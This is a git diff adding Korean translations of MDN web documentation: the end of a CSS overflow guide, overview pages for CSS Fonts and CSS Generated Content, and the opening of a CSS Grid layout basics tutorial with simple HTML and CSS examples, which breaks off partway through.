+<p><code>auto</code> 값을 사용하면 상자안에 내용물이 들어맞을 경우 스크롤 막대 없이 내용물을 표시하게 된다. 만일 내용물이 들어맞지 않는다면 스크롤 막대가 추가되게 된다. 다음 예를 <code>overflow: scroll</code> 경우의 예와 비교하면 수직 스크롤 막대가 필요할 경우에도 <code>overflow scroll</code>의 예는 수평 및 수직 스크롤 막대가 있음을 알수 있다. 아래 <code>auto</code> 예제에서는 우리가 스크롤이 필요한 방향으로만 스크롤 막대를 추가한다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/auto.html", '100%', 700)}}</p>
+
+<p>이미 배운 바와 같이 기본값인 <code>visible</code> 이외에 살펴본 값 중의 어떤 값을 사용하게 되면 새로운 블록 서식 상황을 생성하게 된다.</p>
+
+<p>참고: <a href="https://www.w3.org/TR/css-overflow-3/">작업 초안 오버플로 수준 3</a>을 보면 추가적인 속성 값으로 <code>overflow: clip</code>이 있다. 이것은 <code>overflow: hidden</code>와 같이 작용하지만, 프로그래밍 방식의 스크롤이 불용되어 스크롤 할 수 상자가 된다. 또한, 이것은 블록 서식 상황을 생성하지 못한다.</p>
+
+<p>오버플로 속성은 실제로는 <code><a href="/en-US/docs/Web/CSS/overflow-x">overflow-x</a></code>와 <code><a href="/en-US/docs/Web/CSS/overflow-y">overflow-y</a></code> 속성의 약칭이다. 오버플로 값을 하나만 지정하면 이 값은 가로 세로 양 축에 모두 사용된다. 그러나 두 가지 값 모두를 지정할 수 있다. 첫번 째 경우에는 <code>overflow-x</code>를 수평 방향 값으로 두번째 경우에는 <code>overflow-y</code>를 수직 방향 값으로 사용하면 된다. 아래 예에서 나는 <code>overflow-y: scroll</code>만 지정함으로써 원치 않는 가로 스크롤 막대가 나타나지 않도록 했다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/overflow-y.html", '100%', 700)}}</p>
+
+<h2 id="상대적_플로우_속성">상대적 플로우 속성</h2>
+
+<p>우리는 <a href="/ko/docs/Web/CSS/CSS_Flow_Layout/%ED%9D%90%EB%A6%84_%EB%A0%88%EC%9D%B4%EC%95%84%EC%9B%83%EA%B3%BC_%EC%93%B0%EA%B8%B0_%EB%AA%A8%EB%93%9C">쓰기 모드와 플로우 레이아웃</a> 안내서에서 <code>block-size</code>와 <code>inline-size</code>라는 새로운 속성를 살펴보았는데, 이 속성은 물리적인 화면 크기에 레이아웃을 구속하기보다는 다양한 쓰기 모드에서 작업할 경우에 적합하다. 수준 3 오버플로 모듈에는 플로우에 상대적인 오버플로 속성들<code><a href="/en-US/docs/Web/CSS/@media/overflow-block">overflow-block</a></code>와 <code><a href="/en-US/docs/Web/CSS/@media/overflow-inline">overflow-inline</a></code>도 포함되어 있다. 그것들은 <code>overflow-x</code>와 <code>overflow-y</code>에 대응하지만, 매핑은 문서의 쓰기 모드 여하에 달려 있다.</p>
+
+<p>이들 속성은 현재 브라우저에 구현이 되어 있지 않으므로, 현 시점에는 물리적인 속성을 사용하고 쓰기 모드에 맞게 조정해야 한다.</p>
+
+<h2 id="오버플로_표시">오버플로 표시</h2>
+
+<p>수준 3 오버플로 규격에서 우리는 콘텐츠가 오버플로 상황에서 내용물이 보여지는 방식을 개선하도록 도움을 줄 수 있는 몇 가지 속성을 보유하고 있다.</p>
+
+<h3 id="인라인축_오버플로">인라인축 오버플로</h3>
+
+<p><code>text-overflow</code> 속성은 인라인 방향의 텍스트 오버플로을 처리한다. 이 속성에는 두 가지 값 중에서 택일한다. <code>clip</code>의 경우는 오버플로하면 내용물이 잘려나간다. 이것이 초기값이므로 기본 동작이다. 또한, <code>ellipsis</code>의 경우는 줄임표를 렌더링하는 것인데, 사용 중인 언어와 쓰기 모드에 따라서는 더 나은 문자로 대체될 수도 있다.</p>
+
+<p>{{EmbedGHLiveSample("css-examples/flow/overflow/text-overflow.html", '100%', 500)}}</p>
+
+<h3 id="블록축_오버플로">블록축 오버플로</h3>
+
+<p>이 글의 작성 시점에 명칭을 두고 아직 논의의 여지가 있지만, <code>block-overflow</code>란 속성도 있다. 이 제안으로 텍스트가 블록 크기를 오버플로할 때 줄임표를 추가할 수 있게 된다.</p>
+
+<p>이것은 예를 들어 문서 목록이 있고 제한된 양의 텍스트만 취하는 고정 높이 상자에 목록을 표시하는 경우에 유용하다. 상자나 제목을 클릭할 때 클릭할 내용이 더 많다는 것을 독자들이 인지하지 못할 수도 있다. 줄임표는 더 많은 내용이 있다는 사실을 분명하게 보여준다. 이 규격은 일련의 내용 또는 규칙적인 줄임표를 삽입할 수 있게 한다.</p>
+
+<h2 id="요약정리">요약정리</h2>
+
+<p>웹 상의 연속적인 미디어에 있는지 또는 인쇄 또는 EPUB와 같은 페이징 미디어 형식에 있는지 여부는 어떤 레이아웃 메서드를 처리할 때 어떻게 내용물이 오버플로하게 되는지 이해를 돕는데 유용하다. 일반 대열에서 오버플로이 어떻게 작동하는지 이해함으로써 격자나 가변상자 같은 레이아웃 방식에 포함된 오버플로 내용물의 파장을 더 쉽게 이해할 수 있어야 한다.</p>
+
+<div>{{QuickLinksWithSubpages("/ko/docs/Web/CSS/CSS_Flow_Layout/")}}</div>
diff --git a/files/ko/web/css/css_fonts/index.html b/files/ko/web/css/css_fonts/index.html
new file mode 100644
index 0000000000..eef480caa7
--- /dev/null
+++ b/files/ko/web/css/css_fonts/index.html
@@ -0,0 +1,102 @@
+---
+title: CSS Fonts
+slug: Web/CSS/CSS_Fonts
+tags:
+  - CSS
+  - CSS Fonts
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Fonts
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Fonts</strong>는 글꼴 관련 속성 및 글꼴 자원이 로드되는 법을 정의하는 CSS 모듈입니다. 이는 글꼴의 스타일을 정의할 수 있습니다, 글꼴 패밀리, 크기 또는 굵기 및 한 문자에 여러 자체(glyph)가 있는 글꼴에 사용되는 이형(variant) 자체와 같은 줄높이도 정의할 수 있습니다.</p>
+
+<h2 id="참고">참고</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("font")}}</li>
+ <li>{{cssxref("font-family")}}</li>
+ <li>{{cssxref("font-feature-settings")}}</li>
+ <li>{{cssxref("font-kerning")}}</li>
+ <li>{{cssxref("font-language-override")}}</li>
+ <li>{{cssxref("font-size")}}</li>
+ <li>{{cssxref("font-size-adjust")}}</li>
+ <li>{{cssxref("font-stretch")}}</li>
+ <li>{{cssxref("font-style")}}</li>
+ <li>{{cssxref("font-synthesis")}}</li>
+ <li>{{cssxref("font-variant")}}</li>
+ <li>{{cssxref("font-variant-alternates")}}</li>
+ <li>{{cssxref("font-variant-caps")}}</li>
+ <li>{{cssxref("font-variant-east-asian")}}</li>
+ <li>{{cssxref("font-variant-ligatures")}}</li>
+ <li>{{cssxref("font-variant-numeric")}}</li>
+ <li>{{cssxref("font-variant-position")}}</li>
+ <li>{{cssxref("font-weight")}}</li>
+ <li>{{cssxref("line-height")}}</li>
+</ul>
+</div>
+
+<h3 id="규칙">@규칙</h3>
+
+<dl>
+ <dt>{{cssxref("@font-face")}}</dt>
+ <dd>
+ <div class="index">
+ <ul>
+  <li>{{cssxref("@font-face/font-family", "font-family")}}</li>
+  <li>{{cssxref("@font-face/font-feature-settings", "font-feature-settings")}}</li>
+  <li>{{cssxref("@font-face/font-style", "font-style")}}</li>
+  <li>{{cssxref("@font-face/font-variant", "font-variant")}}</li>
+  <li>{{cssxref("@font-face/font-weight", "font-weight")}}</li>
+  <li>{{cssxref("@font-face/font-stretch", "font-stretch")}}</li>
+  <li>{{cssxref("@font-face/src", "src")}}</li>
+  <li>{{cssxref("@font-face/unicode-range", "unicode-range")}}</li>
+ </ul>
+ </div>
+ </dd>
+ <dt>{{cssxref("@font-feature-values")}}</dt>
+</dl>
+
+<h2 id="안내서">안내서</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Styling_text/Fundamentals">Fundamental text and font styling</a></dt>
+ <dd>In this beginner's learning article we go through all the basic fundamentals of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/OpenType_fonts_guide">OpenType font features guide</a></dt>
+ <dd>Font features or variants refer to different glyphs or character styles contained within an OpenType font. These include things like ligatures (special glyphs that combine characters like 'fi' or 'ffl'), kerning (adjustments to the spacing between specific letterform pairings), fractions, numeral styles, and a number of others. These are all referred to as OpenType Features, and are made available to use on the web via specific properties and a low-level control property — {{cssxref("font-feature-settings")}}. This article provides you with all you need to know about using OpenType font features in CSS.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/CSS_Fonts/Variable_Fonts_Guide">Variable fonts guide</a></dt>
+ <dd><strong>Variable fonts</strong> are an evolution of the OpenType font specification that enables many different variations of a typeface to be incorporated into a single file, rather than having a separate font file for every width, weight, or style. This article will give you all you need to know to get you started using variable fonts.</dd>
+</dl>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Fonts')}}</td>
+   <td>{{Spec2('CSS3 Fonts')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS2.1', 'fonts.html#font-shorthand', '')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS1', '#font', '')}}</td>
+   <td>{{Spec2('CSS1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_generated_content/index.html b/files/ko/web/css/css_generated_content/index.html
new file mode 100644
index 0000000000..6d1acc3c8e
--- /dev/null
+++ b/files/ko/web/css/css_generated_content/index.html
@@ -0,0 +1,43 @@
+---
+title: CSS Generated Content
+slug: Web/CSS/CSS_Generated_Content
+tags:
+  - CSS
+  - CSS Generated Content
+  - Overview
+  - Reference
+translation_of: Web/CSS/CSS_Generated_Content
+---
+<div>{{CSSRef}}</div>
+
+<p><strong>CSS Generated Content</strong>는 요소에 콘텐츠를 추가하는 법을 정의하는 CSS 모듈입니다.</p>
+
+<h2 id="참고서">참고서</h2>
+
+<h3 id="속성">속성</h3>
+
+<div class="index">
+<ul>
+ <li>{{cssxref("content")}}</li>
+ <li>{{cssxref("quotes")}}</li>
+</ul>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS2.1')}}</td>
+   <td>{{Spec2('CSS2.1')}}</td>
+   <td>초기 정의</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
new file mode 100644
index 0000000000..ce1ce28415
--- /dev/null
+++ b/files/ko/web/css/css_grid_layout/basic_concepts_of_grid_layout/index.html
@@ -0,0 +1,765 @@
+---
+title: Basic concepts of grid layout
+slug: Web/CSS/CSS_Grid_Layout/Basic_concepts_of_grid_layout
+tags:
+  - CSS
+  - CSS 그리드
+  - 가이드
+  - 레이아웃
+---
+<p><a href="/ko/docs/Web/CSS/CSS_Grid_Layout">CSS 그리드 레이아웃(Grid Layout)</a>은 CSS에 2차원의 그리드 시스템을 도입했습니다. 그리드는 주요 페이지 영역을 설계하거나 작은 사용자 인터페이스 요소를 배치하는 데 사용할 수 있습니다. 이 문서에서는 CSS 그리드 레이아웃 및 CSS 그리드 레이아웃 레벨 1 명세서에 포함된 새로운 기술 용어를 소개합니다. 이번 개요에 소개된 기능은 나머지 안내 문서에서 자세히 설명합니다.</p>
+
+<h2 id="그리드가_무엇인가요">그리드가 무엇인가요?</h2>
+
+<p>그리드는 수평선과 수직선이 교차해서 이루어진 집합체입니다 - 하나의 집합체는 세로 열을 그리고 다른 하나는 가로 행을 정의합니다. 각 요소는 이러한 열과 행으로 된 라인을 따라 생성된 그리드에 배치할 수 있습니다. CSS 그리드 레이아웃에는 다음과 같은 기능이 있습니다:</p>
+
+<h3 id="고정되거나_혹은_유연한_트랙_크기">고정되거나 혹은 유연한 트랙 크기</h3>
+
+<p>예를 들면, 픽셀 단위를 써서 트랙 크기가 고정된 그리드를 만들 수 있습니다. 이렇게 하면, 원하시는 레이아웃에 꼭 맞도록 픽셀 크기를 지정해서 그리드를 설정하실 수 있습니다. 또한, 퍼센트 혹은 이런 목적에 적합하도록 설계된 새로운 <code>fr</code> 단위의 가변 크기를 지정해서, 좀 더 유연한 성질의 그리드를 만들 수도 있습니다.</p>
+
+<h3 id="아이템_배치">아이템 배치</h3>
+
+<p>아이템은 라인 번호, 이름 또는 그리드 영역을 지정해서 그리드의 정확한 위치에 배치할 수 있습니다. 그리드는 또 명확하게 위치가 지정되지 않은 아이템을 알아서 적절히 배치하는 알고리즘도 가지고 있습니다.</p>
+
+<h3 id="콘텐츠를_담기_위한_추가_트랙의_생성">콘텐츠를 담기 위한 추가 트랙의 생성</h3>
+
+<p>그리드 레이아웃으로 그리드를 명시적으로 정의할 수 있지만, 지정된 그리드 밖에 따로 추가되는 콘텐츠에 대응하여 필요에 따라 행과 열을 추가할 수 있도록 표준 문서에서 기술하고 있습니다. 일 예로 “컨테이너에 들어갈 수 있는 만큼의 세로 열”을 추가하는 기능이 포함되었습니다.</p>
+
+<h3 id="정렬_제어">정렬 제어</h3>
+
+<p>그리드에는 정렬 기능이 있어서 그리드 영역에 아이템을 배치한 후 어떻게 정렬할지, 그리고 전체 그리드가 정렬되는 방식을 제어할 수 있습니다.</p>
+
+<h3 id="겹치는_콘텐츠_제어">겹치는 콘텐츠 제어</h3>
+
+<p>그리드 셀에 하나 이상의 아이템을 배치하거나 그리드 영역을 부분적으로 서로 겹치게 할 수 있습니다. 이렇게 생긴 중첩의 우선순위는 나중에 {{cssxref("z-index")}} 프로퍼티로 제어할 수 있습니다.</p>
+
+<p>그리드는 아주 강력한 기능을 담은 표준이라서 <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout">플랙스박스(flexbox)</a>와 같은 CSS의 다른 부분과 결합하면, 이전에는 CSS에서 불가능했던 레이아웃을 만들 수 있도록 도와줍니다. 이 모든 것은 <strong>그리드 컨테이너</strong>에서 그리드를 생성하는 것부터 시작합니다.</p>
+
+<h2 id="그리드_컨테이너">그리드 컨테이너</h2>
+
+<p><em>그리드 컨테이너</em>는 요소에 <code>display: grid</code> 또는 <code>display: inline-grid</code>를 선언하여 만듭니다. 이렇게 하면 해당 요소 <em>바로 밑에 있는 모든 자식 요소</em>는 <em>그리드 아이템</em>이 됩니다.</p>
+
+<p>다음 예제에는 클래스로 wrapper라는 이름을 가진 div이 있고, 안에는 다섯 개의 자식 요소가 있습니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>이제 <code>.wrapper</code> 요소를 그리드 컨테이너로 지정합니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('그리드_컨테이너', '200', '330') }}</p>
+
+<p>바로 밑에 있는 모든 자식 요소는 이제 그리드 아이템이 됩니다. 이렇게 하면 웹 브라우저에서 보이는 모습이 그리드로 전환하기 전과 별 차이가 없는데, 이는 그리드가 우선 아이템을 단일 열 형태의 구조를 가진 그리드를 생성하였기 때문입니다. 이 시점에서 Firefox Developer Edition에서 작업하는 것이 유용하실 텐데, 여기엔 개발자 도구의 일부로 <a href="/en-US/docs/Tools/Page_Inspector/How_to/Examine_grid_layouts">Grid Inspector</a> 기능을 제공합니다. Firefox에서 이 예제의 그리드를 검사해보면, <code>grid</code> 값 바로 옆에 작은 아이콘이 보이실 겁니다. 이 아이콘을 클릭하면 해당 요소의 그리드가 브라우저 창 위에 중첩되어 표시됩니다.</p>
+
+<p><img alt="그리드를 살펴보기 위해 개발자 도구에 있는 그리드 하이라이터를 사용하는 모습" src="https://mdn.mozillademos.org/files/14631/1-grid-inspector.png" style="height: 753px; width: 900px;"></p>
+
+<p>CSS 그리드 레이아웃을 배우면서 작업하실 때 이 도구를 사용하면 그리드에서 발생하는 상황을 시각적으로 더 잘 파악하실 수 있습니다.</p>
+
+<p>이제 이것을 전형적인 그리드 형태의 모양으로 만들어 주려면 세로 방향의 트랙을 더 추가하면 됩니다.</p>
+
+<h2 id="그리드_트랙">그리드 트랙</h2>
+
+<p>그리드의 행과 열은 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}} 프로퍼티로 정의합니다. 이렇게 하면, 그리드 트랙도 함께 정의됩니다. <em>그리드 트랙</em>은 그리드에 그려진 두 라인 사이의 공간을 나타냅니다. 아래 그림에서는 그리드의 첫 번째 가로 행에 놓여있는 트랙이 돋보이게 표시된 것을 확인하실 수 있습니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/14637/1_Grid_Track.png" style="height: 261px; width: 392px;"></p>
+
+<p>앞의 예제에서 <code>grid-template-columns</code> 프로퍼티를 추가하고 세로 열에 놓이게 될 트랙의 크기를 정의해 줍니다.</p>
+
+<p>이제 200픽셀의 너비를 가진 세로 열 방향의 트랙 세 개를 생성합니다. 자식 아이템들은 이제 그리드에 있는 각자의 그리드 셀 위에 배치됩니다.</p>
+
+<div id="grid_first">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 200px 200px 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('grid_first', '610', '140') }}</p>
+</div>
+
+<h3 id="fr_단위">fr 단위</h3>
+
+<p>트랙은 모든 종류의 길이 단위를 써서 정의할 수 있습니다. 또한, 그리드에는 유연한 크기의 그리드 트랙을 생성하는 데 사용할 수 있는 단위를 추가로 소개하고 있습니다. 새로 소개된 <code>fr</code> 단위는 그리드 컨테이너에 남아 있는 사용 가능한 공간의 일정 비율을 나타냅니다. 다음에 정의된 그리드에서는 남아 있는 공간에 따라 확장 및 축소되는 같은 너비의 트랙 3개를 생성합니다.</p>
+
+<div id="fr_unit_ls">
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('fr_unit_ls', '220', '140') }}</p>
+</div>
+
+<p>다음 예제에서는 <code>2fr</code> 크기의 트랙 하나와 <code>1fr</code> 트랙 두 개를 지정하였습니다. 사용 가능한 공간은 4개로 나뉘면서, 공간 두 개는 첫 번째 트랙에 제공하고 나머지 공간 한 부분씩을 다음 두 트랙에 각각 제공합니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 2fr 1fr 1fr;
+}
+</pre>
+
+<p>이번 마지막 예에서는 고정된 크기의 트랙과 비율 단위로 지정한 트랙이 섞여 있습니다. 첫 번째 트랙은 500픽셀의 공간을 차지하므로 이 고정 너비는 사용 가능한 공간에서 제외됩니다. 나머지 공간은 3개의 부분으로 나뉘며 2개의 유연한 트랙에 비율에 맞게 할당됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 500px 1fr 2fr;
+}
+</pre>
+
+<h3 id="repeat()_표기법으로_트랙_나열"><code>repeat()</code> 표기법으로 트랙 나열</h3>
+
+<p>많은 트랙을 포함하는 커다란 그리드는 <code>repeat()</code> 표기법을 사용하여 트랙의 전체 또는 일부분을 반복해서 나열해 줄 수 있습니다. 예를 들어 다음과 같이 정의된 그리드의 경우:</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 1fr 1fr 1fr;
+}
+</pre>
+
+<p>다음과 같이 작성할 수도 있습니다:</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+}
+</pre>
+
+<p>반복 표기법은 트랙의 목록 중 일부분에만 사용할 수도 있습니다. 아래 예제에서는 처음엔 20픽셀 크기의 트랙을 생성하고 다음에 <code>1fr</code> 크기의 트랙을 6번 반복해서 채운 후 마지막에 20픽셀 트랙을 붙여서 그리드를 완성합니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: 20px repeat(6, 1fr) 20px;
+}
+</pre>
+
+<p>반복 표기법은 트랙의 목록도 함께 나열해서 지정할 수 있는데, 이렇게 하면 트랙의 반복 패턴을 생성해서 사용하게 됩니다. 다음 예제는 그리드가 10개의 트랙으로 구성되어 있으며, <code>1fr</code> 크기의 트랙 다음에 <code>2fr</code> 크기 트랙이 위치하고, 이 형태가 5회 반복됩니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(5, 1fr 2fr);
+}
+</pre>
+
+<h3 id="잠재적_그리고_명시적_그리드">잠재적 그리고 명시적 그리드</h3>
+
+<p>지금까지는 그리드 예제를 만들 때마다 {{cssxref("grid-template-columns")}} 프로퍼티를 써서 세로 열의 트랙을 정의해 주었습니다만, 가로 행은 그리드가 콘텐츠에 맞게 알아서 새로운 행을 만들도록 했습니다. 이렇게 만들어진 행은 잠재적 그리드 안에서 생성됩니다. 명시적 그리드는 {{cssxref("grid-template-columns")}} 및 {{cssxref("grid-template-rows")}}로 직접 정의한 행과 열로 이루어진 그리드를 말합니다. 만약에 이렇게 정의된 그리드 밖에 무언가를 배치할 땐, 늘어난 콘텐츠 양 때문에 더 많은 그리드 트랙이 필요하고, 그리드는 잠재적 그리드에 새로운 행과 열을 만들게 됩니다. 이렇게 해서 생긴 트랙은 기본적으로 크기가 자동으로 정해지는데, 트랙 내부의 내용물에 따라 크기가 조정됩니다.</p>
+
+<p>물론 잠재적 그리드에서 생성된 트랙의 크기는 {{cssxref("grid-auto-rows")}} 및 {{cssxref("grid-auto-columns")}} 프로퍼티를 써서 지정해줄 수도 있습니다.</p>
+
+<p>아래 예제에서는 잠재적 그리드에서 생성된 트랙의 높이가 반드시 200픽셀이 되도록 <code>grid-auto-rows</code>를 사용하여 하였습니다.</p>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two&lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: 200px;
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('잠재적_그리고_명시적_그리드', '230', '420') }}</p>
+
+<h3 id="트랙_크기_조정과_minmax()">트랙 크기 조정과 <code>minmax()</code></h3>
+
+<p>명시적 그리드를 설정하거나 자동으로 생성된 행이나 열의 크기를 정의할 때, 트랙의 최소 크기를 정해도 나중에 추가되는 콘텐츠에 맞게 늘어나도록 하고 싶을 때가 있을 겁니다. 예를 들면, 가로 행의 높이가 100픽셀 밑으로 줄어드는 것은 막고 싶지만, 콘텐츠가 300픽셀 높이까지 늘어나면 그에 따라 행의 높이도 같이 늘어나길 원할 때가 있습니다.</p>
+
+<p>이런 경우를 고려해서 그리드는 {{cssxref("minmax", "minmax()")}} 함수를 제공하고 있습니다. 다음 예제에서는 {{cssxref("grid-auto-rows")}} 값에 <code>minmax()</code> 를 사용하였습니다. 자동으로 생성된 행의 높이는 최소 100픽셀이고 최댓값은 <code>auto</code>입니다. <code>auto</code>를 지정하면 크기는 콘텐츠의 크기를 살피게 되는데, 가로 행에 있는 가장 높은 셀의 크기만큼 자동으로 늘어나서 부족한 공간을 메꿔줍니다.</p>
+
+<pre class="brush: css">.wrapper {
+  display: grid;
+  grid-template-columns: repeat(3, 1fr);
+  grid-auto-rows: minmax(100px, auto);
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: css">* {box-sizing: border-box;}
+
+.wrapper {
+  border: 2px solid #f76707;
+  border-radius: 5px;
+  background-color: #fff4e6;
+}
+
+.wrapper &gt; div {
+  border: 2px solid #ffa94d;
+  border-radius: 5px;
+  background-color: #ffd8a8;
+  padding: 1em;
+  color: #d9480f;
+}
+
+.nested {
+  border: 2px solid #ffec99;
+  border-radius: 5px;
+  background-color: #fff9db;
+  padding: 1em;
+}
+</pre>
+</div>
+
+<pre class="brush: html">&lt;div class="wrapper"&gt;
+  &lt;div&gt;One&lt;/div&gt;
+  &lt;div&gt;Two
+    &lt;p&gt;I have some more content in.&lt;/p&gt;
+    &lt;p&gt;This makes me taller than 100 pixels.&lt;/p&gt;
+  &lt;/div&gt;
+  &lt;div&gt;Three&lt;/div&gt;
+  &lt;div&gt;Four&lt;/div&gt;
+  &lt;div&gt;Five&lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('트랙_크기_조정과_minmax()', '240', '470') }}</p>
+
+<h2 id="그리드_라인">그리드 라인</h2>
+
+<p>그리드를 정의할 때 라인이 아닌 그리드 트랙을 정의한다는 점을 명심해야 합니다. 그러면 그리드는 아이템을 배치할 때 쓸 수 있게 번호가 매겨진 라인을 자동으로 제공합니다. 아래 그림처럼, 그리드가 세 개의 세로 열(Column)과 두 개의 가로 행(Row)으로 이루어져 있다면, 네 개의 Grid Line이 Column으로 자리 잡게 됩니다.</p>
+
+<p><img alt="번호가 매겨진 그리드 라인을 보여주는 다이어그램." src="https://mdn.mozillademos.org/files/14761/1_diagram_numbered_grid_lines.png" style="height: 456px; width: 764px;"></p>
+
+<p>라인은 문서의 작성 모드에 따라 번호가 매겨집니다. 왼쪽에서 오른쪽으로 쓰는 언어에서는 라인 1이 그리드의 왼쪽에 있습니다. 반대로 오른쪽에서 왼쪽으로 쓰는 언어에서는 그리드의 오른쪽에 있게 됩니다. 또한, 라인에 이름도 지정할 수 있으며, 자세한 방법은 이 시리즈의 후반부에서 살펴보겠습니다.</p>
+
+<h3 id="라인을_이용한_아이템_배치">라인을 이용한 아이템 배치</h3>
+
+<p>라인에 기반을 둔 배치 방법에 대해서는 다음에 더 자세히 탐구해 볼 예정입니다. 이번 예제에서는 아주 간단한 방법을 알아보겠습니다. 아이템을 배치할 때 트랙이 아닌 라인의 관점에서 정의해 보겠습니다.</p>
+
